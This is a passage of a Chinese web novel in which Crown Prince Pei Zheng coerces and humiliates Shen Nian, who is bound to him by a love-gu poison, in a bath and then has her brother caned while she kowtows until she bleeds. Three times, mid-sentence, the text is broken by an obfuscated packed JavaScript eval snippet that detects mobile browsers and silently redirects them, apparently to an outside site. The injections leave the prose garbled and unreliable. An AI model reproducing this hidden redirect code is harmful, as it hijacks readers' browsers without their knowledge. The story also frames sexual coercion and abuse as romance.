几息后,沈念行到书房外,她敛去眼底柔情,安静候在门外。 往日都要听男人的命令才能入殿, 这次也不例外。 一个时辰后,天色渐渐昏暗,裴争依旧没有让她进殿。 她还要继续等下去么? 是男人有事将她忘了么? 心中几番挣扎,她进也不是,退也不是,然而,就在她不知所措时,长戈忽地出现在她身后。 “沈姑娘,请跟属下这边请。” 沈念眼神微微一凝,“不进书房了么?” “姑娘莫要多问,属下也只是遵殿下的命令行事。” 长戈并没有透露太多,显然是裴争吩咐过,违抗不得,她只好跟着前去。 不知过了多久,长戈才停下脚步,指着身前的寝殿,转过身对着沈念说道;“姑娘,就是这里,快进去吧。” 沈念抬眸,见是一处陌生的寝殿, 位置不算偏僻。 只是为何会有一股皂角香? 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358489|182779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抿抿唇,轻声问:“我要进去么?” 她真的很害怕自己触怒裴争, 像是何时进殿这般小事都是确认再三。. 长戈俯身,“殿下吩咐过,姑娘到了直接进去就好。” 沈念点头,“好,” 接着,她在殿门前鼓足勇气,最终推开门迈入殿中。 随后只见殿内帷幔垂落,雾气缭绕。 是汤池, 裴争竟然召她来汤池。 沈念眼皮猛地跳了两下,开始惶惶不安起来,已行到这里,她已退无可退,无论接下来发生什么,她都要受着。 心里的恐惧,驱使着她的脚步开始放缓,绕过那层层纱帐,她才看清裴争站在那里,只着里衣阖着双眸,似在等待她的到来。 殿内安静至极,姑娘的脚步声很明显。 听到声响,知道是沈念前来,那双幽深的眼眸睁开,冷声开口: “过来,” “是…臣女遵旨。”沈念硬着头皮走到男人身前,“不知殿下有何吩咐?” 她的声音轻若蚊蝇,垂着脑袋,显然是怕到了极点。 裴争盯了她许久,只觉得她更瘦了,这次瘦得连腰肢都盈盈不堪一握。 想到这里,他不禁再次回想起那夜,姑娘在他身下,眼里水雾弥漫,泫然欲泣,尤是她细腻微凉的肌肤,莹白且光滑,手轻轻一碰,便会出现许多明显的红痕。 让人难以忘却,勾起他心中一股无名的燥热。 盯了她良久,裴争才道: “孤让你过来。” “是……” 沈念因害怕与男人之间隔了两步之远,听到他的吩咐,她心下一惊,却又不得不走到他身前。 眼下他们二人离得太近了…… 她吓得脸色惨白。 “给孤宽衣。” 鬓边渗出冷汗,沈念本能低下头,指尖止不住发颤。 脱衣服—— 裴争竟然让她宽衣解带。 她从没有给男子解衣过,更何况是眼前的人是裴争,她的噩梦。 那夜的场景深深刻于心中,无法忘却,男人的气息,动作…… 沈念呆愣在原地,紧紧捏着衣角。 裴争见她并没有动作,语气多了几分不耐烦, “孤让你宽衣,没听到么?” “是……” 沈念小心翼翼伸出手向男人的腰间探去,却不知该如何解开腰封,摸索了一阵,也毫无解开的迹象。 她急得像热锅上的蚂蚁,就连额间都出现一层汗珠。 ……这到底该如何解? 池水散发着热腾腾的雾气,飘散在空气中,殿内越来越热。 沈念紧紧咬着唇瓣,急得手都不知该往何处放,裴争见她像是一只失了方向的鸟儿,在笨拙地寻找方向。 简直蠢笨不堪。 他薄唇微勾,轻笑一声。 沈念感受到身前男人的打量,心陡然缩紧,那目光就像是在看一个有趣的玩物。 亦或者说,是猎物。 对方定是故意的,想看她着急,想看她惊慌失措,从而满足他的玩弄心思。 真是太坏了。 然,就在她准备再次摸索时,却忽觉手腕一沉。 是裴争攥住了她的手腕。 隔着衣物,也能感受到男人掌心的炙热,灼烧她的肌肤,似要将她融入身体中。 而裴争的手在握住她手腕时,带着她的手一点点将他的腰封解开。 “会了么?” “若是下次还不会,孤就要罚你。” 显然,姑娘根本禁不住他的撩拔,肉眼可见她耳根羞红,就像是熟透的脆果,忍不住让人咬一口,勾得人心痒痒的。 “臣女…会了。” 而就在沈念以为替男人解开腰带封就了事时,对方没有松开她的手腕,反而是用力一拉。 她的力量不敌裴争。 只一瞬,她便扑倒在男人的怀中,伏在他结实的胸膛时,喉咙里泄出一声呜咽。 而后对方的大手毫不留情地攀附上她的腰肢,带起轻微的战栗,沈念脸上的血色顿时褪得一干二净。 “殿、殿下!” 裴争没搭理小姑娘,只觉得她惊慌的样子很有趣,接着他低下头凑近她的耳畔,而就在这时,那股特殊的书墨香再次自小姑娘的颈间飘来。 夹杂在梅香之中很是明显。 裴争眸中戾气隐隐翻滚, 那是宋淮之身上的气息么? 10.第 10 章 那特殊的书墨香残留在沈念的颈间,若无亲密举动,根本不会沾染分毫。 所以,她同宋淮之抱在一起了么? 还是说……他们亲在一起了? 想到这里,裴争抿起唇,嫌弃地松开小姑娘的腰肢,转身迈向汤池。 沉重的手臂脱离身子,沈念深吸一口气,接着身后又传来男人的冷声吩咐, “过来伺侯孤沐浴。” 随后只听“哗啦”一声响,男人已褪下身上松松垮垮的寝衣,入了池水,惊得水面泛起一圈圈涟漪。 沈念眼?微动,咬紧唇瓣, 解腰封,伺候沐浴—— 这等皆是婢女做的事,今夜裴争竟都让她做了,是铁心要为难她,逗弄她! 她能违抗么? 她可以违抗么? 不甘与厌恶涌上来,但仅一瞬间又消失不见。 最后只好压下心中的慌乱,鼓足勇气转身走到裴争身后,此时男人早已没入池水中,只看得见他宽阔的后背。 接着,她拿起帕子开始小心翼翼擦拭。 裴争感受着身后姑娘的动作,她手指在不经意间擦过他后背的肌肤,软软的,凉凉的。 只轻轻的触碰,也能让他得到一种舒缓的轻盈,然就在他放松身体时,再次嗅到那特殊的书墨香,这次是从沈念的袖口散发出来的。 浓到让人心生厌恶。 比刚刚更让人恼怒,让他觉得他的玩物在被别人染指。 还是另一个男人。 沈念应着裴争的命令擦拭后背,明明殿内很热,她的鬓角却开始渗出冷汗,不敢发出半点声音。 静静的,动作极轻,极轻。 而就在帕巾伸到男人肩膀时,让她害怕的事情发生了。 她的手腕忽地被男人攥住。 与此前不同,这次他的力道很重,指缝间露出姑娘细腻且泛红的肌肤。 “殿下!” 下一瞬,对方竟用力将她拖拽入池水中。 猝不及防落入水中,霎时间水花四溅,她扑腾好一阵,才扶住池边稳住身子,又因呛了水而连连咳嗽。 而此时的裴争正倚在那里看着慌乱的小姑娘。 她一双杏眼泛着水光,朦胧如秋水含烟,无辜又脆弱。纱衣因被水?透,紧贴在身上,勾勒出胸前饱满的轮廓,再往下便是那段纤细的腰肢。 每一寸肌肤皆若隐若现。 而沈念察觉到男人盯着她的眸中越发幽深,就像是要将她吞入腹中。 是恼怒,亦是占有。 那目光如同一条细蛇,钻入她的衣裙,无情游走,玩弄。 在他眼中,竟看到了一闪而过的欲念,感受着那份极为危险的气息。 她要跑,必须跑, 绝对不能留在这里。 然,就在她刚转身时,男人似看透她的意图,忽地欺身压了过来,并揽住她的腰肢,禁锢于怀中。 这时,姑娘整个人落入他的怀抱,她颤抖的手无处安放,只好轻轻搭在他的臂弯。 “要逃么?” 随后对方又故意地附在她的耳畔吐出一句话。 温热的气息萦绕在耳旁,沈念那里本就是敏感处,她不由得缩了缩肩膀,挣扎着: “殿下!你…你要做什么?” 太近了—— 眼下他们两人靠得实在太近了。 肌肤相亲,可闻彼此心跳, 而对方竟还是堂堂太子殿下,这般亲昵的姿势,理应是同夫君才能有的。 她却同裴争,做尽了。 圆房是因为情蛊, 而眼下呢?却是因为男人单纯的玩弄心思,她就要受着。 想到这里,沈念心中升起一股厌恶情绪,继续推搡着裴争落在她腰间的手臂, “殿下,放开我……” 然,他的那双手臂就如同藤蔓一样,牢牢攀附在她的腰肢,不容她逃脱。 挣扎间,姑娘胸前的柔软蹭在他的胸膛,痒痒的,也正是这股痒意勾起他身下蒸腾的燥意,并蔓延至全身。 裴争的眸子里染上几分欲色,落在她腰间的手臂忽地收紧。 两人贴得更近了。 “回答孤,你是要逃么?” 沈念低垂着眼睫,娇弱的身子不停地打颤,“臣女不、不逃。” 那男人就这样将她困在怀中,朦胧雾气中,也可见他深邃的眸子,如同一只蛰伏的凶兽,带着无形的压迫。 裴争细细打量着身前的小姑娘,虽落了水,却也能看出她挺润唇瓣涂抹着亮眼的口脂,玉颊薄施粉黛。 妆容明显与此前不同。 而这一切,都是为了迎合另一个男人。 但,她分明是他的玩物。 “殿下,臣女——” 未等她说完话,裴争伸出手用力掰正她的脸,并抬起手指蹭向她的唇。 一遍一遍,无情加重力道。 他要蹭去她的口脂,全部。 在粗砺指腹的揉蹭下,姑娘的唇如同一朵被蹂躏的娇花,变得残破不堪。 再无生机与活力。 因被对方钳制,沈念无处可躲,只能任他揉蹭,连着眼眸都泌出泪花。 他将她当做一个玩物, 不分青红皂白就对她任意欺凌。 可是她又做错了什么? 共中情蛊,又不是她愿意的。 一切都是被迫。 她就如同一只待宰的羔羊,任由裴争摆弄。 待她的口脂完全被蹭去,裴争停止动作,缓缓动了一下唇角,指腹摩挲起她的发丝。 沈念长长的睫毛不停地颤动着,唇泛着火辣辣的痛。 疼到发抖, 更是怕到发抖。 她咬着唇,几乎要咬出血来, “殿下,臣女是做错什么事,惹殿下不快了么?” 就是死也要死个清白, 她到底哪里触怒到他了? 让她来汤池,她乖乖来了。 让她宽衣,她听话解腰封了。 还要她做什么?为何他总是喜怒无常? “做错什么?”裴争缓缓敛眉,玩弄般撩起水花洒向她的颈间,故意拖着长音,“沈念,你觉得自己做错了什么?” 扬起的水珠自姑娘的玉颊滚落,滴入那诱人的沟壑,悄悄没入其中。 沈念在他怀里微不可察地缩了一下,颤着声音, “臣女…不知。” 自入太子府,她比在国公府还要谨小慎微,整日里提心吊胆,就怕触怒裴争,遭到他的欺凌。 若再一个不小心牵连到宋淮之,那就更遭了。她已经对不起郎君许多,怎还能让他搭上性命? 良久,沈念未答话。 她根本就不知道自己做错了什么。 “不知道么?” 裴争挑眉一笑,接着再次俯身靠近她的耳畔,温热的气息带有侵略性地扑在她的颈间……胸前,语调拉长而慢, “沈念,孤眼下需要你的身子,在解蛊期间,你最好给孤老实点…” 说到此处时,他话语突地一顿,大手按住她圆润的肩头,并狠狠捏住,语气冷下来, “记住,别让别的男人碰你。” “孤嫌脏。” 肩膀似要被人捏碎了般疼,沈念的喉咙里泄出几声呜咽,呼吸也变得急促而浅薄。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377276|182779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她没想到裴争会有此无理的要求,更没想到他会知道近日宋淮之前来作陪的事。 原来她的一举一动对方都知道。 可宋淮之是她的未婚夫君,他们二人又互通心意,有任何亲密行为都再正常不过。 他怎能如此要求她? “殿下、臣女……” 这时,男人用力推开她的肩膀,沈念早已被折腾到双腿发软,没了力气,他这么用力一推,她向后退了几步,腰窝恰好磕在池边,疼痛感瞬间蔓延全身。 是窒息的闷痛。 让人冷汗涔涔。 裴争抬睫看她,小姑娘脸色隐隐泛白,睫毛上挂着晶莹的泪珠,好似一只被暴风雨打湿羽毛的小鸟,可怜至极。 加上她那双湿漉漉的眼眸,任一个男人瞧见了都会心生怜爱。 但,他不会, 因为根本不在乎啊。 他眼神透着轻傲,声音端的是漫不经心, “想反抗孤么?沈念,你不过是孤的一个玩物罢了。” “滚出去,孤不想听你说话。” 沈念在忽然之间失去所有力气,手指微微颤抖,眼眶里蓄满了泪水,只剩下一副躯壳。 裴争又一次将她赶出去。 他总是如此霸道,从不给她一丝喘息的机会,到底何时能解蛊,到底何时能摆脱他的控制。 忍着腰肢与肩头的剧痛, 她拖着湿漉漉的身子抬步离开汤池,夜风微凉,毫不留情划过她的肌肤,寒冷蔓延,侵蚀她的身子。 她走了很久,很久…… 终于行回西阁。 却在刚迈入殿内,支撑不住身子晕了过去,殿内的婢女见她如此,心下大惊,急急唤道: “快来人!姑娘又病倒了!” ********* “她又病倒了?” 翌日庭院,身着玄色蟒袍的男人站在回廊里,正手拿小铃铛逗弄着檐下的鹦鹉,听到长戈的禀告后,面上浮现出一抹淡笑, “经不起折腾。” 长戈应道:“是西阁的婢女传来的消息,说沈姑娘昨夜回来病倒的,眼下还躺在榻上。” “可传太医瞧过了?” 听到此话,长戈微微愣住,往日冰冷的太子殿下对任何事皆是毫不关心,如今竟能过问沈姑娘的事。 “太医来瞧过了,说只是染了风寒。” “并无大事,” “风寒?” 裴争没再多说什么,回想起昨夜在汤池,小姑娘被他拽入水中,身上衣物尽数湿透。 她穿着湿透的衣物走回西阁, 不染风寒才是怪事。 他平生见过的女子不少, 可如沈念这般愚蠢的,还真是第一次见。 “风寒,风寒,风寒……” “沈姑娘染了风寒……” 鹦鹉的叫声打破周遭的死寂,裴争垂下浓密的眼睫,攥紧手中的铃铛,只不过几日没见,这只鹦鹉竟被下人教得开始学舌了。 “长戈,孤日后不想听到它说话。” “是属下遵旨!” 长戈擦了擦额间的冷汗,这只鹦鹉是半月前陛下赏赐的,还算入了殿下的眼,时不时前来逗弄。 这时,有一小厮走上前来,“殿下,属下有要事相告。” 长戈认出这小厮是前几日太子殿下派去西阁留意沈姑娘一举一动的下人。 莫非是沈姑娘又出了什么事? 只见那小厮靠近裴争,附在他耳畔悄悄说了几句话,而后他双眼微眯,勾着唇角, “不必阻拦,放进来。” 语毕,那男人脸上溢出几分杀意。 11.第 11 章 晨光微明,日头透过树枝缝隙洒落在窗前,照在姑娘的身上,犹如点点碎银,更衬其恬静沉稳。 经历昨夜的折腾,沈念是真的病倒了,夜里喝了太医的药,身子才算慢慢恢复。 清晨阳光出来时,她倚在窗前晒着太阳,瞧着窗外扑簌簌的落叶,鼻尖泛起酸意。 她突然想家了。 想回国公府。 往年这个时候阿瑜总拉着她,去郊外的福安寺捡许多许多的银杏树的白果回来,做白果羹。 身在国公府时,她无时无刻不想逃离那个牢笼,可眼下真的离开那处到了太子府,她却很想回去。 她累了,也想家了。 想念紫苏,想念阿瑜…… 也不知她的紫苏有没有偷吃小厨房的食物被抓,也不知她的阿瑜有没有长高,有没有懂事。 苦涩自心底蔓延,如同被冬日的寒风拂过,沈念暗地里攥紧衣角,眼中流露出不加掩饰的厌恶。 裴争,情蛊—— 她到底何时才能摆脱? 姑娘紧咬双唇,指尖掐进掌心,而就在这时门外传来一阵特别的声响。 三长两短, 是她同阿瑜之间的暗语。 不对,阿瑜已被父亲遣至乡下,哪里会出现在戒备森严的太子府? 几息后,又是一阵三长两短的敲门声,好奇心驱使着沈念起身悄悄向门槛处迈去。 “何人?” 她低声问,却无人应答, 沈念深吸一口气,鼓足勇气推开殿门,随后还没看清来人的样貌,被他扑了一个满怀。 “阿姐!我总算见到你了!” 腰肢被人紧紧揽住,沈念惊呼出声,熟悉的声音落入耳中,这才发觉怀中之人是她的阿弟沈瑜。 她推开怀中的少年,待瞧清他的容貌后,目光微微一顿,浮现出淡淡的惊异, “阿——阿瑜?” 明明他在一个月前同父亲沈国公大吵一架后,被送去乡下磨练心性,怎突然回来了? 沈瑜擦了擦额间的灰,含笑望来,“阿姐,我偷偷跑回来的,回府后听说你来了太子府做侍医,又马不停蹄赶来看你,怎料府外的小厮不让我进。” 少年眉头轻轻扬起,眼神清明而透澈,笑意从嘴角蔓延至脸颊, “嘿嘿,他们怎能拦得住小爷我?” 沈念看着他灰头土脸的样子,挑眉笑了一声,“所以你——” “我翻墙进来的。”沈瑜拍了拍胸脯,嘴角挂着一抹得意的笑,“怎么样阿姐,我厉害吧,快夸我!” 少年意气风发,两月未见,已经高出她许多。只是这混性子,还是未改分毫。 居然太子府都敢擅自闯入? “厉害,我们阿瑜最厉害了。” 此时的沈瑜被夸得低头咯咯笑着,丝毫没有察觉到,沈念已似笑非笑挽起袖口,出其不意伸出手捏住他的耳垂, “沈瑜,你知道这是何地么?就敢擅闯?” “疼疼疼……”沈瑜歪头忍着痛,“何地?不就是太子府,谁让阿姐在此处,就算费尽千辛万险,我也要来见阿姐。” “两个月,我要想死阿姐了。” 听着他头头是道的话,沈念气也气不起来,只好松开手,无奈摇了摇头。 她这阿弟自幼被江氏宠坏了,天不怕地不怕,若是能上天,非要将天也能闯个窟窿。 从懂事起,便混在京城,翻墙一事更是不在话下,活脱脱的混世魔王。 在沈府只有他将她放在心上,护她,敬她,因此他们二人关系亲厚,如一母同胞。 “阿姐,你怎会来太子府?”沈瑜凑近几分试图从她的脸上探寻到真相,“可是阿爹阿娘逼你的?” 少年忽地凑近,用温柔的目光盯着她,沈念偏过头,轻抿了下唇,“无人逼迫我,阿瑜,给太子殿下治病是我自愿的。” 姑娘言语平静,内心却早已乱作一团硬生生将所有委屈咽了下去。 她同太子的事,绝对不能让阿瑜知道,否则以他的脾气,怕是要闹得人尽皆知,无法收场。 若是如此,她还如何嫁给宋淮之? 沈瑜撇了撇嘴,“阿姐,不过两月未见,你怎瘦成这般样子?可是太子殿下欺负你了?若是真的,我非打得他落花流水!” “阿瑜!”沈念心里轻轻咯噔了一下,伸出手捂住他的嘴,“慎言!” 天知道裴争会不会派耳目来监视她的一举一动,此话若是让他听了去,伤害阿瑜怎么办? 她可以被裴争欺凌,但阿瑜不可以,他自幼便护着她,怎能因此事牵连到他? “阿姐,是我错了。”被沈念这么一说,沈瑜垂下眼睫,就像一只犯错了的小狗,眼巴巴望着她,乞求原谅。 沈念心头一软,想伸出揉他的头时,又发觉阿瑜已不再是孩童,毕竟男女授受不亲。 她悻悻缩回了手,柔声道:“阿瑜乖,回家同你阿爹认个错,他不会为难你,毕竟有你阿娘护着。” 说到有阿娘相护时,沈念表情淡下来,眼底的笑意逐渐散去。 阿娘—— 她曾也有阿娘相护的。 只是她的阿娘早已消失在十年前的冬日里,她都快忘了有娘疼爱的感觉。 沈瑜察觉到沈念目光中的失落,从怀中取出柳叶耳坠,示在她面前,“阿姐瞧!我特意买回来送你的。” 少年手中的耳坠是绿色的,正同她往日常穿的碧色的罗裙相衬。 内心涌出一股暖流,她的阿弟总是待她周到。 “阿瑜,谢谢你。” 只有阿瑜她才能体会到那份亲情。 沈念接过耳坠攥在手中,明眸有涟漪,而后又发觉此处不宜久留,劝说道: “阿瑜你快离开,太子府日后也莫要再来了!” “好,我听阿姐的。” 在此事上沈瑜倒是听话,没再多说什么便大步迈向门槛。 然,当他刚要推开门时,殿外婢女忽地敲门禀告,“沈姑娘,太子殿下来了!” “!?”沈念脸色一白,看了沈瑜一眼,心不停哆嗦着,“阿瑜,你快躲起来!” 若是被裴争看到沈瑜擅闯,后果不堪设想。 沈瑜散漫扬眉,“阿姐,怕什么?我好歹也是国公府世子,他能拿我怎么办?” 一个惊慌失措,一个稳乱不惊。 裴争的到来对于沈念来说,无异于突如其来的洪水猛兽。 怕他怕到极点。 “阿瑜!听阿姐的,快去殿内躲起来!” “快去!” 这是沈念第一次对沈瑜狠下声音斥责。 “好,” 沈瑜即使再不愿意也听了她的话,躲进了内室帷帘后。 几息后,殿门推开,裴争大步走了进来,昭示他身份的檀香也霎时间冲入屋内。 “臣女,见过殿下!” 因着有些心虚,沈念垂着眼帘,不敢看身前的裴争,只乖乖行礼。 “起来,” 裴争抬手示意起身,随后顺势坐在案前,自顾自地倒了盏茶。 见男人今日似乎心情很好,眉眼笑意温存,整个人看起来都比往日温和许多,沈念暗地里长舒一口气。 “殿下是有事找臣女么?” 她的声音很小,带着几分试探的意思。 裴争扯了下唇角,把玩起手中的茶盏,轻笑道:“沈念,孤只是听说你病了,特来看望。” “臣女多谢殿下挂念。” 沈念睫毛一颤,他裴争能有这般好心? 她不信。 一番对话后,裴争没继续说下去,只转着手中的茶盏,殿内陷入一片死寂,静可闻针落地。 这时茶盏落回案前,裴争微微挑眉,盯着她,神色越发凉薄起来, “嘶,今日西阁还真是静呢,静得孤好像听到了第三个人的呼吸声。” “可这殿内分明只有你我二人,这第三人在何处?” 说罢,男人的目光落在殿内的帷帘, 那里正是阿瑜的藏身处。 沈念呼吸一滞,就连手心都沁出冷汗,“殿、殿下听错了,哪里还有别人?” 她的心在狂跳不止,猜不透对方话里的意思,难道说他已经知道阿瑜在她这里了么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389142|182779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话音落,裴争缓缓抬眸盯着她,慢悠悠站起身,眉尾一扬,轻嗤了一声, “既然殿内只你我二人,不如我们做些别的?” “孤今日兴致正佳。” 男人站起身,并缓步靠近,如同一张密不透风的墙将她牢牢罩住。 逃不掉,也挣脱不开, “殿……殿下要做什么?” 沈念本能向后退去,却不料被对方攥住手腕。 “你说孤要做什么?” 而就在男人俯身靠过来时,沈念听到身后响起匆忙脚步声,接着她的另一只手腕被人紧紧攥住,向后扯去,撞入身后之人的怀抱, “你莫要欺负我阿姐!” 少年的气息不稳,带着明显的喘息声,并将她护在怀中,不准任何人欺负。 回过神来的沈念身子凉了一大截,脱离沈瑜的怀抱, “阿瑜!你怎出来了?” 她所做的一切都是为了他不被发现, 他怎就这般沉不住气。 “好,好得很,沈念。” 男人低沉的声音传来,沈念额间上渗出冷汗,扭头看向裴争时,只见他阴沉沉站在那里,眉宇间隐隐有了几分戾气, “沈念,你胆子真是大得很,敢在太子府藏人?” 他眯起双眸,打量着眼前站得极近的沈瑜与沈念,眸光越发森寒。 沈念拽着身后沈瑜的衣袖,跪在地上,求饶道:“殿下!是臣女,都是臣女的错。” “阿姐!” “闭嘴!” 身后的沈瑜刚要出言,却被沈念阻止,眼下这般境地,她哪里还敢让身后的混小子说话? “你的错么?沈念,孤还算是赏罚分明。”裴争缓缓敛眉,冷声吩咐:“来人,把他给我带下去!” 命令声响起,殿外的长戈带着几个小厮来势汹汹闯入殿中,走向沈瑜。 沈念心一沉,不顾一切张开双臂将沈瑜护在身后,“不要!你们别动他!” 小姑娘不动声色地仰着脸,明明弱得连自己都护不住,这次居然为了她的弟弟反抗。 明明她此前只会顺从,不敢也不会反抗的。 见一向乖顺的兔子欲张嘴咬人,裴争双眸微眯打量着沈念,从眉眼到唇角,皆是一副反抗的模样。 他忽然轻嗤一声, “沈念,你是在反抗孤么?” 他很讨厌被玩物忤逆的滋味, 眼中的恼意几乎要溢出来。 沈念抬头直视着裴争的双眸,甚至没有皱一下眉头,每一个字都充满力量。 “殿下要罚就罚臣女,不要动臣女的弟弟!” 裴争没理会沈念的反抗,反而是更加兴奋,继续: “来人!带下去!” “擅闯太子府,杖责。” 沈念脑中“隆隆”作响,却没有退缩, “不要!” 长戈听闻命令,带着小厮强行将沈念身后的沈瑜拖了出去。 “阿瑜!” 沈念扑上前却被长戈阻拦,小姑娘还病着哪里是这几个大男人的对手,三两下便被拦住。 沈瑜轻而易举被拖下去, “阿姐,莫要动我阿姐!” 此时的殿内只剩下沈念同裴争二人。 裴争慢悠悠坐回椅前,眼神停在她身上,语气戏谑,“沈念,你好大的魅力,前有未婚夫前来相伴,后有自家阿弟冒着风险擅闯看你。” 沈念伏在地上,“殿下,莫要打他,阿瑜他自小怕疼。” “阿瑜?叫得这般亲热。”裴争攥着手中的茶盏,眸色深沉近墨,“刚刚还抱在一起,天底下哪有你们这般的姐弟?” 几息后,殿外传来男人的喊叫声,一听便是阿瑜的,沈念身子颤抖了一下,旋即攥住了裴争的衣角,再度开口哀求, “殿下,放过臣女的阿弟吧,要罚便罚臣女。” 裴争俯身看着脚下楚楚可怜的姑娘,鸦睫上的泪珠欲落不落,我见犹怜极了。 他的手指摩挲在她的侧脸,眼神中罕见地多了几分怜惜,轻声开口: “放过他可以啊,你求我。” 12.第 12 章 “放过他可以啊,你求我。” 男人的指腹烫着她脸颊的肌肤,沈念战战兢兢望着他,脸上的血色顿时褪得一干二净,连喘气都不敢。 他眸光阴沉,如同潜伏在黑暗中的恶狼,除却狠辣无情,还有对猎物的势在必得。 三分冷冽,七分轻视。 一声轻嗤后,裴争缓缓收回手指,慢悠悠坐回椅子上,把玩着手中的玉板指,轻描淡写开口: “沈念你求孤,求到孤心情好了,就放过他,如何?” 跪在地上的沈念脸色惨白如霜,手指紧紧攥着袖口。 求他,不过是求他而已。 只要他能放过她的阿瑜。 是以,她咬住苍白的薄唇,将额头磕在冰冷的地上,求饶:“臣女沈念求殿下开恩,放过阿瑜!” 咚—— 姑娘的额头结结实实磕在地上,发出清脆的声响,再抬头时,她长发已散乱下来,娇身止不住颤抖着。 她肌肤娇弱,平日里只是轻微磕碰都会留有淤青,更别提眼下要以头磕地。 只一下,她的额间就已泛红,渗出血迹。 裴争双眸轻阖,听到姑娘磕头的声响并未睁眼,只散漫地扬了声, “继续啊。” “继续求孤。” 男人的声音冷到让人发指,见他还不满意,沈念心下一沉,依着他的话,继续磕头谢罪, “求殿下开恩!” 一声,两声,三声…… 这时,殿外再次传来沈瑜的叫声,那一声声就如同一根根针扎入她的心,疼到让她喉咙干涸,喘不过气。 阿瑜自幼在她身侧长大,对她好到恨不得将世间最好的东西都给她,如此好的阿瑜,她哪里忍心看他这般受罚? 阿瑜…… 她的阿瑜在疼。 骤然间心乱如麻,沈念垂下眼眸,眨眼间几颗晶莹剔透的泪珠,自眼尾顺着玉颊滴落在衣襟,她慌张地开了口, “殿下开恩!放过阿瑜,臣女求你,求你……” “求殿下放过阿瑜。” 她在因为心疼阿瑜而落泪。 此前磕头的声音入耳,裴争并未有所动容,直到小姑娘带着哭腔的声音传来, 裴争却突地睁开双眸, 只见美人伏地,额间已渗出血迹,鸦睫上还挂着几滴将落的泪珠,满面梨花带雨。 阳光透过窗棂落在她身上,投下斑驳的光影,更衬其凄惨而脆弱,就像一块被打碎的美玉。 这是他第一次瞧见沈念哭。 那次圆房,她明明都已那般疼,都未曾流下一滴泪。 而今却只因为一个沈瑜在哭。 还是继母的孩子,愚蠢。 蠢女人,真是傻得可怜。 想到这里,他心头忽地一动,涌出股说不清的滋味,但这种情绪也只存在一瞬,顷刻间便被裴争压了下去。 “求殿下开恩!” 沈念又一次开口哀求。 她已卑微到了极致, 不惜磕头求饶。 “殿下,求——” “够了!” 小姑娘继续磕着头,泪水簌簌而下,裴争缓缓敛眉,冷声开口: “起来。” 沈念愣住,抬眸看着眼前的裴争,眼底尽是不可思议的神色。 这是求情成功了么? 对方竟然让她起来? “臣女——” “孤让你起来,没听到么?” 接着,裴争又对殿外吩咐了一声, “长戈,停。” 一声吩咐后,耳畔再无沈瑜的叫喊,沈念知道裴争已放过沈瑜,起身冲出殿外。 待瞧见沈瑜虚弱地倒在地上后,她心疼到全身颤抖,呼吸急促,强行拖着疲惫不堪的身子扑上去,将他抱在怀中, “阿瑜!” 听见沈念的呼唤声,少年缓缓睁开双眸,看到她额间的伤和泛红的眼尾,垂在身侧的手握成拳头, “阿姐,我没事,你莫要哭。” “你看我…这不是好好的。” “胳膊腿全在呢,不过是挨了几棒子而已。” 沈瑜试图支起身子,却因为扯动到伤口,皱眉嘶了一声。 “阿瑜莫要动。” 沈念擦了擦眼尾的泪水,柔声继续道: “阿姐不哭,阿瑜乖,阿姐送你回家,好不好?” 她就像是儿时那样,哄着哭闹的沈瑜。 然,这一切皆被站在一旁裴争看在眼中,他养在身侧的玩物竟展露出他从未见过的一面,看向沈瑜的目光蕴着似水温柔。 见状,他眸色在顷刻间幽暗几分,盯着沈念慢慢敛眉,嗓音中压抑着怒意, “长戈,送他回沈府。” 眼看着沈瑜被长戈抢走,而沈念一人完全不是对手,“阿瑜!你们莫要动他!” 小姑娘发了疯似的将沈瑜护在身后,长戈不敢对她动粗,只等在原地,迟迟未有动作。 裴争上前攥住沈念的手腕,将她从地上拉起, “沈念,孤派人送他回府!” 一声呵斥,沈念才慢慢缓过神,愣在原地看着沈瑜被带走,她身子瘫软下去,再度跪在地上, “殿下,今日阿瑜擅闯太子府,是他的错,臣女替他谢罪。” “若是殿下还未气消,就拿臣女出气吧。” 她已放下尊严,苦苦哀求, 在裴争面前她从不敢反抗。 今日为了阿瑜是第一次敢顶撞。 “拿你出气?”裴争目光冷漠到极致,显然一副轻视的模样,“孤如何拿你出气?” 语毕,男人伸出手捏住她的下颌,居高临下睨着她,唇角动了一下。 “用你的身子么?” 两人对视,沈念微微垂眸,颤着声音回话,“臣女不敢。” “嗯?你不敢?” 裴争不耐烦甩开小姑娘的脸,因她刚刚已被折腾的没了力气,而今轻而易举被推倒在地。 头上的发簪落在地上,发出清脆的声响,姑娘青丝倾泻而下,几根发丝飘在颊边,如同被风雨摧残的娇花,破碎而凄惨。 男人继续道:“沈念,你同孤不过是为解蛊睡了一次而已,真当孤对你的身子感兴趣么?” “谁给你的自信?” 